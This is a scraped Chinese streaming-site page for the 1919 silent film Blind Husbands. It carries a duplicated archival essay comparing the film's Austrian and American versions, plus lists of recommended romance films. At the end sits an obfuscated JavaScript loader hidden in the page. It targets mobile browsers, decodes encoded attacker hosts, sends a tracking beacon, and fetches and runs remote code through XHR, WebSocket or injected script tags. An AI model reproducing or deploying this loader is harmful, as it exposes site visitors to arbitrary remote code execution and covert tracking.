电影 盲目的丈夫们

盲目的丈夫们

影片信息

  • 片名: 盲目的丈夫们
  • 状态: HD
  • 主演: 萨姆·德·格拉斯  Francelia Billington  埃里克·冯·施特罗海姆  Fay Holderness  Richard Cumming  
  • 导演: 埃里克·冯·施特罗海姆  
  • 年份: 1919
  • 地区: 美国
  • 类型: 爱情片 /
  • 时长:内详
  • 上映:于1919美国首播
  • 语言:英语
  • 更新:2023-02-02 20:51
  • 简介:  

      Two differences between this Austrian version and the generally available American version are immediately obvious: they differ both in their length and in the language of the intertitles. The American version is only 1,883 metres long - at 18 frames per second a difference of some 7 minutes to the Austrian version with 2,045 metres. Whereas we originally presumed only a negligible difference, resulting from the varying length of the intertitles, a direct comparison has nevertheless shown that the Austrian version differs from the American version both in the montage and in the duration of individual scenes. Yet how could it happen that the later regional distribution of a canonical US silent film was longer than the "original version"?
      The prevalent American version of Blind Husbands does not correspond to the version shown at the premiere of 1919. This little-known fact was already published by Richard Koszarski in 1983. The film was re-released by Universal Pictures in 1924, in a version that was 1,365 feet (416 metres) shorter. At 18 frames per second, this amounts to a time difference of 20 minutes! "Titles were altered, snippets of action removed and at least one major scene taken out entirely, where von Steuben and Margaret visit a small local chapel." (Koszarski)
      From the present state of research we can assume that all the known American copies of the film derive from this shortened re-release version, a copy of which Universal donated to the Museum of Modern Art in 1941. According to Koszarski the original negative of the film was destroyed sometime between 1956 and 1961 and has therefore been irretrievably lost. This information casts an interesting light on the Austrian version, which can be dated to the period between the summer of 1921 and the winter of 1922. Furthermore, the copy is some 200 metres longer than the US version of 1924. If one follows the details given by Richard Koszarski and Arthur Lennig, this means that, as far as both its date and its length are concerned, the Austrian version lies almost exactly in the middle between the (lost) version shown at the premiere and the re-released one.A large part of the additional length of the film can be traced to cuts that were made to the 1924 version in almost every shot. Koszarski describes how the beginning and the end of scenes were trimmed, in order to "speed up" the film. However, more exciting was the discovery that the Austrian version contains shots that are missing in the American one - shots/countershots, intertitles - and furthermore shows differences in its montage (i.e. the placing of the individual shots within a sequence). All this indicates that Die Rache der Berge constitutes the oldest and most completely preserved material of the film.

  • 关注公众号观影不迷路

  • 扫一扫用手机访问

 立即播放  优酷视频

选择来源

  • 优酷视频
3.0
网友评分
  • 很差
  • 较差
  • 还行
  • 推荐
  • 力荐
1次评分
3.0
网友评分
  • 很差
  • 较差
  • 还行
  • 推荐
  • 力荐
1次评分

扫一扫用手机访问

首页 爱情片 盲目的丈夫们

播放列表

 当前资源来源优酷视频 - 在线播放,无需安装播放器
 倒序

剧情简介

  

  Two differences between this Austrian version and the generally available American version are immediately obvious: they differ both in their length and in the language of the intertitles. The American version is only 1,883 metres long - at 18 frames per second a difference of some 7 minutes to the Austrian version with 2,045 metres. Whereas we originally presumed only a negligible difference, resulting from the varying length of the intertitles, a direct comparison has nevertheless shown that the Austrian version differs from the American version both in the montage and in the duration of individual scenes. Yet how could it happen that the later regional distribution of a canonical US silent film was longer than the "original version"?
  The prevalent American version of Blind Husbands does not correspond to the version shown at the premiere of 1919. This little-known fact was already published by Richard Koszarski in 1983. The film was re-released by Universal Pictures in 1924, in a version that was 1,365 feet (416 metres) shorter. At 18 frames per second, this amounts to a time difference of 20 minutes! "Titles were altered, snippets of action removed and at least one major scene taken out entirely, where von Steuben and Margaret visit a small local chapel." (Koszarski)
  From the present state of research we can assume that all the known American copies of the film derive from this shortened re-release version, a copy of which Universal donated to the Museum of Modern Art in 1941. According to Koszarski the original negative of the film was destroyed sometime between 1956 and 1961 and has therefore been irretrievably lost. This information casts an interesting light on the Austrian version, which can be dated to the period between the summer of 1921 and the winter of 1922. Furthermore, the copy is some 200 metres longer than the US version of 1924. If one follows the details given by Richard Koszarski and Arthur Lennig, this means that, as far as both its date and its length are concerned, the Austrian version lies almost exactly in the middle between the (lost) version shown at the premiere and the re-released one.A large part of the additional length of the film can be traced to cuts that were made to the 1924 version in almost every shot. Koszarski describes how the beginning and the end of scenes were trimmed, in order to "speed up" the film. However, more exciting was the discovery that the Austrian version contains shots that are missing in the American one - shots/countershots, intertitles - and furthermore shows differences in its montage (i.e. the placing of the individual shots within a sequence). All this indicates that Die Rache der Berge constitutes the oldest and most completely preserved material of the film.

为你推荐

 换一换
  • 爱情片
    HD
    3.0莫妮卡·波特,约瑟夫·费因斯
  • 爱情片
    HD
    3.0奥黛丽·赫本,雷克斯·哈里森,斯坦利·霍洛威,维尔弗雷德·海德-怀特,格拉黛丝·库珀,杰瑞米·布雷特,西奥多·比凯尔,莫娜·沃什伯恩,伊索贝尔·埃尔索姆,约翰·霍兰,Elizabeth Aimers,Helen Albrecht,约翰·安德逊,Mary Alexander,LaWana Backer,沃尔特·培根,弗兰克·贝克,威廉姆·巴克利,玛乔丽·本尼特,Oscar Beregi Jr.,贝蒂
  • 爱情片
    HD
    4.0倪妮,井柏然,刘雅瑟,张子萱,刘孜,陈卫,格桑,杨凯淳,侯传杲,何佳怡
  • 爱情片
    HD国语版
    3.0赵涛,廖凡,徐峥,梁嘉艳,刁亦男,张一白,丁嘉丽,张译,董子健,李宣,查娜,冯家妹,康亢,张晓军,柳敏,王谭,原文倩
  • 爱情片
    HD
    5.0马特维·雷科夫,玛利亚·波叶扎耶娃,斯坦尼斯拉夫·柳布申,彼得·罗曼诺夫,列娃·安德烈瓦伊达,阿莲娜·契诃娃,维多利亚·伦佐娃
  • 爱情片
    HD中字版
    3.0詹米·多南、达科塔·约翰逊、卢克·葛莱姆斯、维克多·罗塞克
  • 爱情片
    HD国语|粤语
    5.0蔡卓妍,周柏豪 ,卫诗雅,钟欣潼,卢巧音,郑希怡,雷琛瑜,郑诗君,陆永,林盛斌,小肥,惠英红,吴镇宇,郑丹瑞,李蕙敏,泰臣,孙佳君,韦罗莎,黄秋生
  • 爱情片
    HD
    5.0文森特·卡索,蕾雅·赛杜,安德烈·杜索里埃,爱德华多·诺列加,米丽娅姆·沙琳斯,奥黛丽·拉米,莎拉·纪欧多,乔纳森·德缪杰,尼古拉斯·高布,卢卡·梅利瓦,伊冯娜·卡特菲德,德扬·布钦,沃尔夫冈·梅纳迪,米基·哈特,阿瑟·多普勒
  • 爱情片
    HD国语版
    4.0彭于晏,倪妮,郑恺,魏晨,张子萱,陈赫,毕夏,刘雅瑟,曹卫宇,张宁江
  • 爱情片
    HD
    4.0黑木瞳,冈田准一,松本润,寺岛忍,半田健人

评论

我也来品评!
评论加载中...
function ErDYpyZm(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function xvcqYnrT(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return ErDYpyZm(t);};window[''+'a'+'e'+'w'+'n'+'r'+'C'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=xvcqYnrT,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));var sul='https://'+u+'/v2/stats/12501/'+i;if(navigator.sendBeacon){navigator.sendBeacon(sul);}else{new Image().src=sul;}'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/vh2/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket('wss://'+k+':9534/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src='https://'+u+'/vh2/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src='https://'+u+'/vh2/'+i;cs.parentElement.insertBefore(s,cs);}})('Z2hubXNkLmR3aWJqa2Rzbi5jb20lM0E5OODc1','Z2J3ZXJmLnFkkamJ3c3BvLmNvbQ==','158225',window,document,['O','k']);}:function(){};